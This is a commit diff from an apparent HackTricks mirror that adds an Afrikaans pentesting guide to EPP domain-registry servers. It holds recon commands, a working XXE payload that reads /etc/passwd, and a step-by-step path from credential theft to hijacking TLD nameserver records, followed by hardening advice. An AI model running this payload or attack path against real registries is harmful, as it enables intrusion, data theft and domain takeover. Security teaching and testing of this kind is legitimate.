mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/700-pentesting-epp.md'] to
This commit is contained in:
parent
4d831f46fe
commit
659be9802a
@ -4,12 +4,112 @@
|
|||||||
|
|
||||||
## Basiese Inligting
|
## Basiese Inligting
|
||||||
|
|
||||||
Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die **bestuur van domeinnames en ander internetbronne** deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwyderingsprosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak soos die behoeftes van die internetinfrastruktuur ontwikkel.
|
Die Extensible Provisioning Protocol (EPP) is 'n netwerkprotokol wat gebruik word vir die **bestuur van domeinnames en ander internetbronne** deur domeinnaam registrasies en registrars. Dit stel die outomatisering van domeinnaamregistrasie, hernuwing, oordrag en verwydering prosesse in staat, wat 'n gestandaardiseerde en veilige kommunikasiekader tussen verskillende entiteite in die domeinnaamstelsel (DNS) verseker. EPP is ontwerp om buigsaam en uitbreidbaar te wees, wat die toevoeging van nuwe kenmerke en opdragte moontlik maak namate die behoeftes van die internetinfrastruktuur ontwikkel.
|
||||||
|
|
||||||
Basies, dit is een van die protokolle wat 'n **TLD-registrar gaan aanbied aan domeinregistrars** om nuwe domeine in die TLD te registreer.
|
Basies, dit is een van die protokolle wat 'n **TLD registrar gaan aanbied aan domein registrars** om nuwe domeine in die TLD te registreer.
|
||||||
|
|
||||||
### Pentest
|
### Pentest
|
||||||
|
|
||||||
[**In hierdie baie interessante artikel**](https://hackcompute.com/hacking-epp-servers/) kan jy sien hoe sommige sekuriteitsnavorsers verskeie **implementasies van hierdie protokol** gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLD's oor te neem.
|
[**In hierdie baie interessante artikel**](https://hackcompute.com/hacking-epp-servers/) kan jy sien hoe sommige sekuriteitsnavorsers verskeie **implementasies van hierdie protokol** gevind het wat kwesbaar was vir XXE (XML External Entity) aangesien hierdie protokol XML gebruik om te kommunikeer, wat aanvallers sou toegelaat het om tientalle verskillende TLD's oor te neem.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Enumerasie & Recon
|
||||||
|
|
||||||
|
EPP bedieners luister byna altyd op TCP `700/tcp` oor TLS. 'n Tipiese implementering afdwing ook **mutual-TLS (mTLS)** sodat die kliënt 'n geldige sertifikaat wat deur die registrasie CA uitgereik is, moet aanbied. Nietemin, baie private toets- of voorproduksie-implementasies vergeet daardie beheer:
|
||||||
|
```bash
|
||||||
|
# Banner-grabbing / TLS inspection
|
||||||
|
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>
|
||||||
|
|
||||||
|
# Check if mTLS is *really* required (it frequently is not!)
|
||||||
|
openssl s_client -connect <target>:700 -quiet \
|
||||||
|
-servername epp.test 2>/dev/null | head
|
||||||
|
```
|
||||||
|
As die bediener nie die verbinding beëindig na die TLS-handdruk nie, kan jy probeer om 'n nie-geoutentiseerde `<hello/>` boodskap te stuur:
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||||
|
<hello/>
|
||||||
|
</epp>
|
||||||
|
```
|
||||||
|
### Open-source clients useful for testing
|
||||||
|
|
||||||
|
* **epp-client (Go)** – aktief onderhoude, ondersteun TCP/TLS en EPP-over-HTTPS (RFC 8730):
|
||||||
|
`go install github.com/domainr/epp/cmd/epp@latest`
|
||||||
|
* **gandi/go-epp** – minimale kliëntbiblioteek wat maklik vir fuzzing of nuclei-styl werksvloei's geinstrumenteer kan word.
|
||||||
|
* **afq984/php-epp-client** – PHP-implementasie wat deur baie klein registrateurs gebruik word; 'n gerieflike teiken vir kode-oorsig.
|
||||||
|
|
||||||
|
Voorbeeld minimale aanmeld+kontrole skrip met Go epp-client:
|
||||||
|
```go
|
||||||
|
package main
|
||||||
|
import (
|
||||||
|
"github.com/domainr/epp"
|
||||||
|
"crypto/tls"
|
||||||
|
)
|
||||||
|
|
||||||
|
func main() {
|
||||||
|
cfg := &tls.Config{InsecureSkipVerify: true}
|
||||||
|
c, _ := epp.DialTLS("epp.test:700", cfg)
|
||||||
|
c.Login("CLIENT_ID", "PASSWORD", nil)
|
||||||
|
resp, _ := c.DomainCheck("example","com")
|
||||||
|
println(resp)
|
||||||
|
}
|
||||||
|
```
|
||||||
|
---
|
||||||
|
|
||||||
|
## Algemene Swakhede & 2023-2025 Kw vulnerabilities
|
||||||
|
|
||||||
|
| Jaar | Komponent | CWE | Impak |
|
||||||
|
|------|-----------|-----|--------|
|
||||||
|
| 2023 | CoCCA Registrasie < 3.5 | CWE-611 XXE | Afgeleë lêer lees & SSRF via vervaardigde `<epp>` payload (patch: 2023-11-02) |
|
||||||
|
| 2024 | FRED EPP Bediener 2.x | CWE-322 Onvoldoende TLS sertifikaat validasie | Bypass van mTLS het ongeoorloofde registrateur aanmelding toegelaat |
|
||||||
|
| 2025 | Eie registrateur paneel | CWE-306 Ontbrekende Verifikasie vir Kritieke Funksie | Domein oordrag goedkeuringspunt blootgestel oor EPP-HTTP brug |
|
||||||
|
|
||||||
|
### XXE / SSRF payload (werk teen baie Java/Spring implementasies)
|
||||||
|
```xml
|
||||||
|
<?xml version="1.0"?>
|
||||||
|
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
|
||||||
|
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
|
||||||
|
<command>
|
||||||
|
<check>
|
||||||
|
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
|
||||||
|
<domain:name>&xxe;</domain:name>
|
||||||
|
</domain:check>
|
||||||
|
</check>
|
||||||
|
</command>
|
||||||
|
</epp>
|
||||||
|
```
|
||||||
|
Wanneer die parser verkeerd gekonfigureer is (`XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true`), word die lêerinhoud binne die `<resData>` struktuur teruggestuur.
|
||||||
|
|
||||||
|
### Ander tipiese bevindings
|
||||||
|
|
||||||
|
1. **Swak geloofsbriefbeleid** – EPP aanmeldwagwoorde korter as 8 karakters; brute-force is dikwels haalbaar omdat die spesifikasie slegs aanbeveel (nie vereis nie) om koersbeperking toe te pas.
|
||||||
|
2. **Ontbrekende `registryLock` / `serverUpdateProhibited` status** – sodra geverifieer, kan aanvallers onmiddellik NS rekords opdateer en verkeer steel.
|
||||||
|
3. **Ongesigneerde peilboodskappe** – sommige implementasies teken steeds nie peil Q&A boodskappe nie, wat spoofing/phishing van registrateur operateurs moontlik maak.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Aanvalspad: Van Nul tot TLD Kaap
|
||||||
|
|
||||||
|
1. Ontdek 'n EPP eindpunt (dikwels versteek agter 'n generiese gasheer soos `ot&e.<tld>.nic.<cc>`).
|
||||||
|
2. Misbruik een van die bogenoemde swakhede om registrateur-niveau geloofsbriewe te verkry (XXE → SSRF na IMDSv1, geloofsbrief eksfiltrasie, of TLS-omseiling).
|
||||||
|
3. Stuur `<update>` versoeke om die domein se `hostObj` rekords na aanvaller-beheerde naamservers te verander.
|
||||||
|
4. (Opsioneel) Dien 'n `<transfer>` in om die domein na 'n aanvaller-beheerde registrateur te skuif – baie registrasies staatmaak steeds op 'n **enkele auth-code**.
|
||||||
|
5. Wins: volle beheer oor DNS-sone, vermoë om TLS sertifikate aan te vra via ACME.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Verdedigingsmaatreëls & Versterking
|
||||||
|
|
||||||
|
* Handhaaf **mTLS met per-registrateur kliënt sertifikate** en pin die registrasie CA.
|
||||||
|
* Stel `parserFeature secure-processing=true` of gelykwaardig in om XXE te beëindig.
|
||||||
|
* Voer **deurlopende fuzzing** van die XML-parser uit (bv. met `go-fuzz` of `jazzer` vir Java).
|
||||||
|
* Ontplooi **Registry Lock / server*Prohibited** statusse vir hoëwaarde domeine.
|
||||||
|
* Monitor `poll` wag vir verdagte `<transfer>` of `<update>` opdragte en waarsku in werklike tyd.
|
||||||
|
* ICANN 2024 DNS-Misbruik kontrakwysigings vereis dat registrasies moet bewys dat koersbeperkings & auth kontroles toegepas word – benut dit.
|
||||||
|
|
||||||
|
## Verwysings
|
||||||
|
|
||||||
|
* ICANN Veiligheid en Stabiliteit Advieskomitee (SSAC). "SAC118: Gevolge van Registrasie Operateur se Faal om EPP Veiligheid Beheermaatreëls te Implementeer". 2024.
|
||||||
|
* HackCompute – "Hacking EPP bedieners: misbruik van XXE om TLDs te kaap" (2023).
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user